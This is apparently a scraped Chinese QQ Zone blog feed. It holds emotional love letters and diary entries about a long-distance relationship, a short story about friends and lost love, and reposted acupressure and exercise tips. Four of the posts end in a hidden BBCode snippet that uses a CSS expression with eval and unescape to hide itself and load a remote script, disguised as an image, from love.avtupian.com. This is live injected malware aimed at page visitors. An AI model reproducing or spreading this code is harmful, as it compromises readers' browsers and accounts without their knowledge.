程柒叁。

[转]柒叁，我想对你说。。

181902081@qq.com( 程柒叁。) — Wed, 21 Oct 2009 13:59:27 GMT

老公：
此刻，你早已进入了梦乡，那么你的梦里有我么?

看着时间一分分的过去，内心有些不安。原来时间朝着明天越走越近的时候，我竟然担心我的睡眠时间。心里很浮躁。

这两天去学会计，我有了从来都没有过的挫败感。尽管很认真，很努力的去学习，但是脑子像是腐朽了一样。很多东西确实不能理解。

老公，你知道么？现在我变得越来越脆弱。很多的时候，我都会自己一个人偷偷的掉眼泪。或许没有足够的坚强支撑着自己。第一天晚上放学的时候，走在冷清的街道上，内心竟然奢望，如果我放学，第一眼就能看到你接我放学回家，该有多好。风有点大，我就在想，即使我们很贫穷，但是坐在自行车后面的我，也应该会很温暖，对么？

今天下午休息的时候，我给一起学会计的同学和老师讲我们之间的爱情。回忆起来的都是甜蜜。或许内心深处，记住最深的不是吵架带来的伤害，而是能够彼此拥有后的幸福。我这么说，你还赞同么？

晚上上网的时候，查找试题到凌晨。这应该是从小到大从未有过的努力，但是看到试题后的陌生，我开始变得有些沮丧。这仅仅是学习的开始。可是新的起点让我看不到一点希望。

跑到你空间，看你一年前的日志。看的泪流满面。对于我们两个的感情，趋于平淡。我曾傻傻的和你说，我们的爱情真的有种等待半年，只为见面几天的澎湃。说出这些话，我会心酸，会无奈，但是我会懂得继续坚持。

冬天马上就要来了，一直生活在南方的你，大概要慢慢学着适应北方冬天的刺骨。我开始没来由的担心你会不会记得多穿些衣服，会不会去给自己买衣服。但是这些话，却不再善于表达。或许我真的不懂得如何关心一个人。

十一团聚的美好，很快就被残忍的现实所击溃。我都想说，你好残忍，每次都是仍下我一个人，对视着汽车离开，直至消失。那么，下一次换我先走，好么？

老公，有很多的话，还想对你说。可是我不得不早点休息。我明天早上还要按时上课呢。

好好照顾自己。我也会好好善待自己。我们都为对方照顾好自己。

亲爱的，晚安。

[转]人体穴道，有空自己就捏捏吧（转）

181902081@qq.com( 程柒叁。) — Wed, 26 Aug 2009 04:33:46 GMT

（一）身部身体穴道说明
B1 打隔、咳嗽、喉咙痛
B2 酸痛疲劳
B3 消化不良、减轻压力、头痛
B4 晕船、增进食欲
B5 舒缓焦虑
B6 失眠
B7 舒缓手腕酸痛
B8 膝盖酸痛、风湿痛
B9 胃不舒服
B10 舒缓膝盖问题、水肿
B11 眼睛疲劳、宿醉
（二）脸部


脸部穴道说明

F1 舒缓头痛、使眼睛明亮
F2 解决青春痘、粉刺问题
F3 减轻鼻塞、眼睛容易流泪症状
F4 舒缓抽筋、晕眩
（三）手部
[m]

手部穴道说明
D1 鼻窦 D6 腰部
D2 耳朵 D7 直肠
D3 肩膀 D8 眼睑
D4 肝脏 D9 胃
D5 胆 D10 脖子
〈包括手的背部〉
手掌穴位彩图

　　

[转]弄掉你的小肚子吧（图解）

181902081@qq.com( 程柒叁。) — Wed, 26 Aug 2009 04:33:22 GMT

这些小运动，只要每天挑一个做十分钟两个星期内就会见效
这些是有氧运动要慢慢的做不要拼了老命的做
如果是第一次做的人建议先做二十下再看个人状况逐日增加
不要太勉强但一定要持之以恒加油吧！！！

[转]纪念日。

181902081@qq.com( 程柒叁。) — Tue, 05 May 2009 14:42:02 GMT

数字意识淡薄，时间观念模糊的我，总会在每个月的四号变得异常清晰。

一年，十二个月，三百六十五天的纪念日，叫做我和你。

你若发现我偶尔的变化，定能偷窥到我为数不多的愉悦。会有突如其来的心血来潮。脱掉束缚已久的工作装。高高的马尾，轻便的运动装，如此休闲，仿若回到了学生时代。

一路狂奔至站牌。指示牌上清晰的写着每一个站台的名称。焦急的张望，希望一眼便能看到可以承载自己到目的地的131路公交车。不记得上一次挤公车是在什么时间，什么地点下发生的。罢了，能忘记很多东西，何尝不是一种幸福。

亲眼观看一场盛大的幸福婚礼。亲身体会着别人的地老天荒。

面对着别人的幸福，心怀向往。同样奢望自己也会拥有令人羡慕的婚礼。只是我懂，我的幸福离自己还有一段距离。不能走的太近，但是却总是触手可及。若即若离的情感，给予了自己太多想象的空间。

象征幸福的鲜花，在被抛出的同时，就决定了它给予幸福对象的特定性。被设计好的爱情游戏，竟可以被我们演的如此真实。任何一个人的幸福，对我们而言都是幸福，不是么？

几年未见的同学，再次聚到一起。谈笑风声，并没有因为时间和空间的改变而发生变化。依旧熟悉，只是纯真的面孔上刻上了成熟的字眼。

宴会结束，合影留念。一瞬间定格了永恒的笑魇如花。很无奈的拒绝了朋友们要我留下一起crazy的要求。工作后才发现很多的东西身不由己。你会发现时间并不只属于自己。你没有权利自由支配。

真心的许诺着，你们的婚礼上，定会有我的身影。这是我唯一能给的承诺。

回西单的途中，我一直沉默。倒退的房间，小树，都证明着我们是朝着自己的方向而努力前行着。反光镜里那个涂抹淡装取代素面朝天的形象，也将要随之消失。

按时上班，站在空荡的大厅中央。我对我的人生开始出现怀疑。我到底该要一种什么样的生活？而我又能给自己什么样的生活。答案无人能给。

一年前的我，爱上柒叁。一年后的我，依旧爱的不能自拔。

自私贪婪的享受着他给予自己的一切。却不曾考虑过自己的任性带给他什么。在说了第N次分手后，以为这一次是终结，可是当他奇迹般的站在我视线之内的时候，声音哽咽，以为出现在眼前的统统是幻觉。

朋友问我，是不是具有双重性格的女子。为什么偶尔会开心的像个孩子，而有的时候，却可以安静到一个人就是一片天空。在不同的时间，不同的地点，面对着不同的人的情况下。我所呈现出的自己肯定不会雷同。而哪一种更贴近自我的本质。我无言以对。原来我对自己一直都陌生。

晚上柒叁告诉我，来过我空间。或许他期待着在纪念日的今天，我可以用文字记录一下我和他之间的点滴。或许他只是感觉，我应该会在今天这个特殊的日子，轻描淡写的叙述一下我和他的爱情。

电话结束之前，柒叁对我说，我爱你。足够的煽情，但是这句我爱你，我足足等了一年。眼泪瞬间模糊了双眼。

散落在尘埃里的幸福元素，构成了眼前的花好月圆。午夜的钟声，所敲启的幸福余音，定会伴随着走完此生。

程志平：

你若不离，我亦不弃。

一年前，在下着雨的夜晚。我用倔强的眼神看着你，问你为什么不能和我在一起。你低着头，对我说丫头，你一定要幸福。在转身离开的瞬间，你给了我激烈而疼痛的吻。摇晃的街灯，刺痛了流泪的双眼。

第一次躺在你身边，我安静的像个孩子。被你亲紫的下颌，泄漏了我们之间并不仅仅是单纯的哥们。听我诉说我之前的感情，你心疼的抱着我，对我说，你会永远对我好。

五月四号。我依旧跟在你屁股后面，只是不在以哥们的身份，而是升级女朋友。

不管白天在一起呆多长时间，晚上你总要准时的回寝室，为了让你能多陪我会，我假装困了，让你帮我做我第2天必须要教的作业。后来过了关寝室门的时间，我一下兴奋的张牙舞爪。我的小聪明，一眼被你看穿。你说以后我只要想要你陪，就告诉你声。

喝酒以后，你都要背我走很长的小路。然后嘴里还说我家傻妞杂这么胖呢。回到房间，让你以为我醉了，对你说很多很矫情的话，那些话不是为了哄你开心，而是发自内心的真感情。

毕业以后，有了很长时间的分离。但是内心却很幸福，因为知道你在惦念我。

深圳生活，一言难尽。第一次吵架，第一次动手，第一次对彼此的无能为力，第一次心痛到不能呼吸的窒息感。第一次有了家的感觉。也都在此期间发生。

回东营后，我们的矛盾开始加速。当你回深圳以后，我们有了第一次分手。于是有了现在的第N次分手之说。

正月初九，四月三十号。两次为了挽救我们的感情，你出现在我的视线之内。我明白我们在彼此内心的分量。你并不比我少爱一点，只是你表达爱的方式没我直接。

五月四号晚上，你第一次对我说，我爱你。

[转]自言自语

181902081@qq.com( 程柒叁。) — Tue, 31 Mar 2009 17:26:13 GMT

大雨侵蚀了整片大地，也淋湿了我并不温暖的心。

---叁柒

哭了。

在臭哄哄的餐厅，哭的一塌糊涂。再一次证明了自己不够坚强。该说是脆弱还是懒惰。内心最明了。

从西向东，由北到南。陌生到熟悉的路线。渐渐的习惯了现在的生活模式。早起晚睡。累到充实，很好。

裕华街，每天经过的街道。至今排斥。走在这条路上，始终低着头，并不是因为自己有多么的清高，而是我反感这一类人的生活。

夜晚八点，起风，尔后有雨。再次走进工作的超市。我开始沉默。挑选一把格子雨伞。然后离开。雨中的我，在路灯的影射下，那么孤单。那么无助。为自己撑起的保护伞。可以保护自己多久？一辈子还是仅仅一场雨的功夫？

其实我懂，我已经不再任性。尽管我并没有想象的坚强。喜欢淋雨的我已经懂得，伞下的我撑起的不仅仅是保护，更是对自己的疼惜。

躺在床上，想了很久。试图改变现状，改变自己。好象我已经变得无能为力。原来很多东西并不是自己所能掌控的。突然想放弃很多东西。再也不用自寻烦恼。很好。真的很好。

想起了很多人。那些一直留在自己身边，或者慢慢被自己遗忘的人。给予过的温暖与伤害，思路变得渐渐清晰。很多东西并不曾忘记，只是不愿意回忆而已。

我开始变得尖锐，说话也越来越直接，没有委婉的概念。四年前的我，肯定想象不到今天我会如此直白的伤害到一个人。你要相信时间。伤害后的疼痛会在时间里冲淡，直至产生不起任何的涟漪。所有的纠结都会消失。

圈告诉我，她正在给我写的那篇有我，有她，有他的文字写结局。我突然特别害怕看到圈所写的结局。曾告诉圈，我愿意为她写最温暖的文字。可恰恰送给她的文字，让她泪流满面。我知道我自己写不了结局，更或者说我改变不了我早看透的结局。所以结局留给了圈。可如今，她告诉我她要写结局。我却恐惧。我怕沉浸在她的悲伤里难过不已。

最近听到最多的话就是，我想结婚了。是的，不得不承认。我们都长大了。不到三十不结婚，那些话语离我们越来越远。什么阶段说什么样的话，都是特定的。

想念我的柒叁。奢望着多一次见面。再多一次。不懂矫情的他，也学着对我说，别害怕，有我在。温暖带着余音蔓延。。。
[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash]

[转]空格。省略。句号。

181902081@qq.com( 程柒叁。) — Tue, 17 Mar 2009 06:36:59 GMT

<半幕剧，活在开始，死在结局.>

十二号阴天，预报有雨。

三月本该是春暖花开的季节。北方的天气，却出现反常的大范围强降温。路边的街道，依旧昏暗。偶尔会有人路过，身影被无限拉长。影像凄美到窒息。

起风了，飞舞的白色垃圾扭动了整片夜空。起身为自己泡了杯茶。在如此的清醒的时候，继续保持清醒。

手机振动，屏幕上清晰的显示焉圈。信息读取：“亲爱的安凉，今天在济南动了一个小手术，我亲眼看着来自身体内部的毒瘤，被一点点的切除。心里并不轻松。发现及时，并无大碍，现在身体健康，勿担心。躺在手术台上，我闭上双眼，告诉自己，该是时候遗忘了。在那一刻，我突然特别难过。原来错误的开始既是终结。或许我的主动让我越来越看清楚这其中的本质。这不是爱，这只是我和他落寞时才有的暧昧。安凉，我这么说，你懂么？”

心莫名的疼痛。她的每个字眼。我都懂。更或者说，我懂她超过自己。在认识了她12年后的今天，她仍旧如我刚认识她的时候那般让人心疼。每个人都逃脱不了爱与不爱。焉圈也如此。她遇到了她人生中躲不过的劫数。可是我该用怎样温暖的语言在这寒冷的夜晚对你说希望你幸福。

〈对于命运，我们无从躲避〉

对于命运，我开始认从。比如，我和焉圈的认识，焉圈和子木的相识。我和子木的偶遇。这样冥冥之中安排的巧合，被我解释为缘分。

一夜未眠。焦虑与担心搀杂在一起的心疼，烦躁不已。

清晨，倚靠着站牌，等开往医院的早班车。迎面吹来的冷风，刺骨。吹到脸上，有火辣辣的疼痛感。再强势的冷风都吹不走我的忧伤！看电线杆平行的双线，忍不住的问自己，它们真的永远没办法相交么？可不可以重新设置让它们看到希望的焦点呢？

见到焉圈的时候，她正专注的看着远方。穿着粉红格子的睡衣。脸色苍白带着几许疲惫。那么专注的你，看到了什么？
你回过头，轻轻的对我说，安凉。把你肩膀给我依靠。我怕。

一个男子闯进了我的视线。手里提着早餐。今年最流行的发型。得体的着装。眼神放荡不羁。凭我的感觉，我眼前的这个男子是子木。他确实是帅气的男子，也只有这样的男子才会让焉圈爱的毫不保留。

他很自然的介绍自己，我子木。你应该是安凉吧。果然是聪明的男子。

如果不爱，请你消失。越远越好。越快越好。谢谢。这是我对一个男子热情自我介绍后的第一句，应该是够狠。我再也没有心思去考虑我的话，到底尴尬了焉圈，还是子木。

转身离开。这就是我安凉的生活方式。自我也好，自私也罢。只是别伤害到我最亲近的人。

〈我伪装的坚强，一眼被你看穿〉

子木在医院的后花园找到我。问我可不可以陪他喝酒。我没理由答应你的要求。他说你不会拒绝。

QSSQ。很朦胧的酒吧店名。酒吧人很少，是一家外国人开的。里面放很古典的音乐。怀旧伤感的英文歌曲，别有一番韵味。一下爱上了这个酒吧。没来由。

如果可以，调2杯醉生梦死。可以，稍等。原来真的有一种酒叫醉生梦死。

他点了一支烟。眼神迷离带着我看不透的忧伤。我知道你会懂我，尽管你讨厌我。他淡淡的说着。我现在已经丧失了爱一个人的能力。我也尝试着喜欢焉圈，但是真的做不到。希望原谅。

我们都是成年人，有着自己的思维。有着我们的生活方式。你没有做任何对不起我的事情，所以无须求得我的谅解。

你和别人说话，一直都是这么尖锐么？

我从来都不认为自己是个很好相处的人。也不曾考虑我的话温暖过谁更或者伤害到了谁。

其实你不用掩饰的很坚强。第一眼看到你，就知道你是个有故事的女子。我知道你会懂我，所以我愿意把我的故事讲给你听。讲完了，所有的一切也就结束了。

〈遇到你，在劫难逃〉

我知道你能把我深埋心底，感觉即将遗忘却又一次次浮现的爱情，用你的文字方式记录下来。

和焉圈的认识，是在一个哥们请客的KTV包间。推开门的刹那，看到一个女孩子在房间的角落，安静的唱《广岛之恋》。应该说她的歌声并不动听。但是她若无旁人的从容一下打动到了我。

哥们说子木过来，给你介绍个美女认识，她叫焉圈，在我们公司隔壁的单位上班。最重要的是，目前单身。我笑着说，那正好，我也单身。焉圈红着脸说你好。

她好象是个很安静的女孩子，静静的听我唱歌，偶尔会看我一眼。这一切都被我看在眼里。我给她讲笑话。她浅浅的笑。我才发现她原来有很好看的酒窝。

接了一个电话，是前女友诺诺打来的。我告诉她，我正和一个女孩子在唱歌，她说子木，你终于长大了。你会幸福，我也会。我们都会幸福。诺诺说再为我唱一首歌吧。我没有回答，只是把手机放到了前面的酒桌上。

“一开始我只相信，伟大的是感情。最后我无力的看清。强悍的是命运。”唱完最后一个音符，我早已泪流满面。强迫自己坚强，拿起手机。我听到诺诺的抽泣声。该拿什么爱你，该有什么资格还对你说爱。我能说的也只是你最不愿意听到的对不起。

挂了电话，我要了满满一桌子的啤酒。醉吧，醉吧，醉了就不用在回忆里沉沦。

后来哥们有事走了，房间就只剩下我和焉圈。她陪在我身边，一整晚，什么话都没说。只是陪我喝酒。或许她懂，安慰的话都是徒劳。

喝掉了最后一瓶酒。焉圈扶着我走出房间。在大男子主义的驱使下，我仍坚持要送她回寝室。中途我吻了焉圈。我抱着她问她什么是爱情。世界上有没有永恒的一见钟情。她仍旧什么话都没说。后来我看到她脸上有2行泪划过。我知道我伤害到了她。

快到她们寝室门口的时候，她在我耳边悄悄的说，你无须内疚。我不怪你。遇到你，我在劫难逃。你是如此让我心疼的一个男子。

我楞在原地，大骂自己是畜生。焉圈，你不懂，我们是没有感情可言的。我的爱早已支离破碎。

〈华丽婚礼，只可惜，我不是主角。〉

高中的时候，我认识了诺诺。她甜甜的喊我哥哥。她美丽恬静。有着江南女子独有的气质。一眼就被征服。大敢的追求，不懈的努力。终于这个毫无血缘关系的妹妹成了我的女朋友。

后来我们都上了大学，像所有前卫的情侣们一样。我们也有了甜蜜的小窝。我小心翼翼的守护着诺诺。我做她喜欢吃的鱼香肉丝。她一半。我一半。更多的时候，我偷偷斜着眼睛看一旁吃的津津有味的她。看的那么深切，那么细致。她却毫无察觉。

在准备毕业的前期。父母终于知道了我和她的恋情。他们开始反对，他们动用关系打听到诺诺的母亲有精神病。我也见过她母亲发病的样子，但是这并不能成为我爱她的阻碍。妈妈背着我偷偷的找朋友，找专家询问。结果都只有一个。这个病如果不遗传给自己的孩子，必定会隔代遗传。

在强大的压力下，我懦弱的选择了放弃诺诺。母亲笑了，我却哭了。

后来母亲告诉我，如果诺诺妈妈的病是后天的，也许不会遗传。可是伤害过她的我，又有什么脸面去质问她母亲的病到底是先天的还是后天的呢。

离开诺诺。我再也不相信爱情。经常去买醉，然后去洗浴中心摧残自己。跟没有感情的人再一起，就再也不怕伤害。

我离开了生活了20多年的城市。来到沈阳工作。诺诺也一直没有再找我，终于在那个有雨的天气里，我接到她的电话，她对我说，子木，明天我结婚。。在那一刻，我慌了。是真的慌了。我知道我永远的失去了诺诺。失去了我所有的幻想与回忆。

我收拾了一下简单的行李。在那个雨夜赶往机场。凌晨三点多，我回到了济南。

记忆全部复苏。我一个人来到我们曾租过的房间前。就好象温暖从未离开过。我轻轻的喊诺诺。无人应答。小树上，我用小刀刻上的我爱你，再也找不见了。

去诺诺婚礼酒店的路上。我到商场买了套西装。然后配上最艳丽的领带。我不想用邋遢的形象出现在诺诺面前，我怕她看到会心疼。

我躲在最远处，看着新郎牵着诺诺走向幸福。心疼的找不到方向。我知道诺诺会幸福。足够。我再也没有勇气出现在诺诺的面前，我怕我的眼神亵渎了我的坚强。诺诺至今不知道，我曾亲眼看着她走进盛大的幸福婚礼殿堂。

〈一切过往皆是空。能做的只有面对〉

子木说这就是我的过往。感情严重透支。暂时不准备接受新的感情。在这样的心态下接受，对谁都不公平。

我没有评论他的感情，也没有再谈起他和焉圈的暧昧。

子木，听说喝过醉生梦死的人，会忘记前生所有的不愉快。那么让我们彼此都醉生梦死一回吧。喝过之后，会有新的轮回等着我们。。

[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash]

[转]214

181902081@qq.com( 程柒叁。) — Sun, 15 Feb 2009 12:37:51 GMT

文》》》

我收拾完狼籍的家后，躺在床上，想起那天有风的夜里我给娜娜打电话，她说几分钟前她失恋了，最近老是蹲在三月的阳光里眼睛发直，坐在电脑前写不出一个字。心里堵的慌，头脑断续的空白，象一片残雪。

我说我写不出你的忧伤？

青春是用来忧伤的吗？我常常一个人的时候这样想，我每天去上班的公交站台，旁边一中学。总是忍不住向里张望那些出早操的学生，穿着发旧的校服，清爽的短发，纯真的笑脸。我曾经也是这样，向外张望那些成年孩子，祈祷自己快点长大，能拥有他们一样的自由,和嘴里叼着香烟的酷劲头。

我和你，总是在某些特定场合那么熟悉，亲密。而在另外一些地方却那么陌生。

明天情人节，两天前你离开了，这个节日所有情侣间感人的情节都与我无关。

我总是一个人精神恍惚的坐上公交，漫不经心的看着这个属于我们的城市，还有你们欢笑，争吵的画面。

常常不是反了方向就是错过的站，黑夜中，我久久的蹲在终点站台那里，倔强的看着你来接我的方向，看着描述于“幸福单车”在我眼前晃过，我知道你不会来了，那个风雨中依偎的后座跟我无关。

我慢慢记不起那些有你的旅途，就象我会遗忘丽江小镇阁楼里的小猫，它清澈的眼神，我以为我能一辈子刻骨铭心，还是象我和你。象把小锁挂在树梢上脆弱的幸福，捱不过一个漫长的冬天。

祈愿这个春天我会好一些。

娜娜>>>>

看到你为我写的文字，内心暖暖。眼睛潮湿。这样的感动在生命中越来越少，所以会倍感珍惜。

前两天晚上，接到你的电话，有些意外，虽然未曾见过面，但是在很多方面能产生共鸣，比方：兴趣，爱好。对文字的痴迷。对生活的见解。这就是我们。

对你絮叨我若有若无的感情，挣扎了那么久，在最浪漫的今天不再有任何瓜葛。是解脱还是悲哀？

你生活的城市，我已去过。如诗如画的城市，美丽的西湖，心碎的断桥。看到落泪的夕阳。我们也曾抬头看过同一片天空，这已经足够。

你说你最希望有一天能与我同旅游，陪我看很多的风景，也是享受。我不知道在别人心里我到底是怎样的一个女子。或许他们认为我是个才女，能写出让他们对号入坐的文字。也或许，我是个能听他们诉说的安静女子。可是现实里的我，确实让人头疼的孩子。任性到要他急着解脱。

我也偶尔回忆起我的丽江之旅，只是很少对别人提起。我甚至都没有一张我在丽江的照片。钠西人的才气，充满暧昧的酒吧。邂逅的人，遗忘的事。住过的旅社，残留余温的床铺。在离开的那一刻，统统丢给了丽江，抛给了记忆。

我想我是个幸运的女子，去过很多想都没想过的地方，见了很多没见过的景色。谈了一次以为会白头偕老的爱情。

文，谢谢你送我的文字，在我最狼狈的时候，阅读到你给予的温暖。

外面飘起小雨，用手电筒照亮雨滴画圈圈。被诅咒的幸福应该会很幸福吧。可是我圈起的7337为什么就会和幸福无关呢

开始没来由的沉默，一如我贪恋沉默带给自己的享受。雨滴越来越大，撞击窗户发出的声响，让我厌恶。人们总喜欢把雨夜与伤感联系在一起。虽然我也并不想去联系，但是我们的开始和结束都在雨夜，这是必然还是另一种巧合。

欣赏今天的自己。去一家公司面试，我依旧骄傲，依旧自信的回答着每一个问题。那是一种在柒叁面前从未有过的骄傲与自信。或许太在乎，不断的放低自己的要求，以至于到最后，什么时候把自己弄丢了，都不清楚。

我不愿意告诉别人我是学美术的，并不是因为学艺术的会被别人看低，而是我感觉我配上不美术这2个字眼。我常常幻想如果曾经，我也认真的学习过。那么我不至于因为画不出柒叁的模样而难过。不会因为线条的畸形而不知所措。真的奢望自己能有一天，对着那些喜欢的东西，捕捉到，保存至永久。对那些刻骨铭心的事情，用文字密密麻麻的写到生命的终结。

可是我是如此的贫瘠，没有足够的钱买自己喜欢的相机。我又是如此的笨拙，没有足够的功底写出准确的心情。这样的矛盾的心情，是每个人都会存在的么？

从深圳回来以后，我的生活开始呈现大喜大悲。感情若即若离。承受了太多的委屈与辛酸。既然泪水带走了我所有的骄傲，那么我用笑颜许自己一世幸福。

平平》》》

今天是情人节，山西的天空，晴朗的像恋人脸上盛开的笑颜。于是我开始拼命的想念，远在山东的叁柒。我的傻瓜，你也在想我么？

这是我们在一起过的第一个情人节，却一个山西，一个山东。这就是隔在我们2个中间的无可奈何。

总是在不经意间，脑海就会闪现幸福曾一起的甜蜜。于是开始懊恼。现实究竟带给我们什么？

早早的收到你的短信，你说在应聘的路上。我左眼跳的厉害，开始担心，没我在你身边，你会不会上当。也许说太多的话显得罗嗦，可是孩子样的你，总是那么让人不放心。

早早的来到网吧，对着你的QQ发呆。以为你会在线。不敢打扰，因为你说太累。

深圳的三个月，让我们成熟，让我们成长。更应该让我们学会珍惜，不是么？

我很遗憾，原本快乐的情人节，却成为我们感情的终结。是你的不理解，还是我的不再让你受委屈。

因为太爱，所以放手。

我爱你，只是已经与你无关。

我用分手的痛许你一生幸福。

娜娜》》》

今天是情人节，山东的天气有着刺骨的寒冷。尽管在面试的路上，但是仍然忍不住的想远在山西的73。亲爱的，你也奢望着过一个有我的情人节么？

早早的给你发短信，告诉你我今天应聘。你开始担心，告诉我，你眼睛跳的厉害，让我一个人小心着点。我笑着安慰你，说我们有财，今天肯定会面试成功。透过反光镜，我看到眼睛里有泪光闪烁。我知道你对我不放心，怕我会受伤。你给我的爱，不张扬，但却贴心。

应聘进行的很顺利，招聘时的自信，我懂。那样自信的我，才是真我。我才发现在你面前，我早已经没有了自信，或许是太爱，所以会自卑。

看到献血会有玫瑰，我开始大脑膨胀。于是用400毫升血，换取一枝免费的玫瑰。内心悲凉的找不到哭泣的理由。

坐在KFC角落，看甜蜜的情侣吃着情侣套餐，我忍不住的想。如果我最爱的73在我身边，我们也一定会拿着气球吃甜蜜的情侣套餐。终究有一天，我不用再吃一成不变的新奥尔良，九珍果汁。

看到他QQ在线，开始发脾气，我知道是自己无理。但是却忍不住的放纵自己闹下去。

最终我们在情人节说再见。

亲爱的，我们这下雨了，这是一种巧合么？

就像我们在雨夜的吻别。

我爱你，只是这样的爱与你再也没有任何瓜葛

我愿用分手的痛换你永世的解脱。

[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash]

无题

181902081@qq.com( 程柒叁。) — Sun, 02 Nov 2008 14:05:39 GMT

老感觉着要发生什么质的改变，可生活依旧是生活，工作依旧是工作，对前景还是迷茫，看着现在的工作，不知道是好是坏，看着身边的同学有几个混的比自己好，有点羡慕他们。。。。全球经济不景气，直接影响代工企业，没加班，到处裁人。。。。。现在又要赚工作经验。。一切的一切。。。让自己想有个变化。。。可想法是那样，还是没有什么变化的......

就这样吧。。。。想法。。。[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash]

主动？

181902081@qq.com( 程柒叁。) — Sun, 26 Oct 2008 11:47:36 GMT

要有积极的心态，无论工作还是生活，就这样，得试着去主动。。。。。。。会发现很有道理。

无题

181902081@qq.com( 程柒叁。) — Fri, 15 Aug 2008 14:11:35 GMT

一直呆呆注视着这张照片...
照片里的人模糊不清
但在我的心里却依然那么清晰
一直不知道用什么语言来形容此刻的心情
分开一段时间，彼此发现更加思念对方
然而现实总是残酷的，现在的我们还摆脱不了金钱的束缚
只能依靠手机和上网来寄托思念
哎.....不知道该说些什么
深深想念中....

程 柒叁。